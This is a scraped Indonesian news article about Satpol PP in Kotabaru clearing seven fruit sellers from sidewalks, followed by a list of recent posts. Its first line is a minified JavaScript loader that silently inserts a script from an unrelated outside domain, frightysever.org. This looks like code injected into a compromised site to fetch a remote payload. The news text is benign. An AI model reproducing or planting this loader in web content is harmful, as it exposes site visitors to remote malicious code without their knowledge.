(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Tujuh Pedagang Buah Digaruk Satpol PP Kotabaru


KOTABARU, Sebanyak tujuh pedagang buah yang mangkal di trotoar di garuk tim Satpol PP Kotabaru. Penertiban tersebut karena banyaknya laporan warga yang terganggu dengan aktifitas mereka di atas trotoar yang menjadi tempat bagi pejalan kaki.

Penertiban yang dilakukan di kawasan jalan Veteran dan H Hasan Basri terhadap pedagang buah menggunakan mobil bak jenis pick up.  Kepala Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Kotabaru H Adi Sutomo mengatakan, sebelumnya telah ada keluhan warga terhadap aktifitas pedagang yang mengganggu. “Anggota Satpol PP yang diturunkan sebanyak 1 tim 24 orang,” tuturnya.

Adi mengatakan, pihaknya sama sekali tidak melarang berjualan untuk mencari rezeki. Namun diharapkan bisa tertib, jangan menggangu ketertiban umum. Kini, tujuh pedagang buah tersebut diarahkan ke lokasi lain seperti di depan kawasan Lembaga Permasyarakatan (Lapas) Kelas II B Kotabaru dan jejeran sekitarnya.

“Mereka harus tahu aturan, mereka boleh berjualan diatas lokasi tersebut mulai pukul 17.00 wita hingga malam, kalau mulai pagi sampai pukul 16.00 wita diharapkan jangan dahulu karena merupakan jam padat dan dapat mengganggu,” tambahnya.

Perpindahan pedagang buah tersebut masih akan dimonitor dan apabila ternyata masih melanggar, maka sanksi yang dikenakan bisa mengamankan lapak jualannya. “Mudah-mudahan saja mereka bisa mengerti aturan itu karena untuk kebaikan bersama, dan  Satpol PP khusus menangani PKL, sementara untuk mobil jualannya akan ditangani oleh jajaran Dinas Perhubungan dan Satuan Polisi Lalu Lintas Kotabaru,” jelasnya.

Salah seorang warga Desa Semayap menilai, memang seharusnya ada penertiban yang dilakukan karena aktifitas pedagang di atas trotoar bukan hanya mengambil hak pejalan kaki namun juga dapat menggangu arus lalu lintas.

“Yang namanya mencari rezeki apalagi itu halal tentunya baik. Hanya saja, kita juga mesti menyadari aturan jangan sampai lapak jualan yang digelar justru dapat mengganggu orang yang lewat serta harus mentaati aturan yang sudah dibuat sedemikian rupa untuk kebersamaan dan kebaikan,” ungkap Rahman.***


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.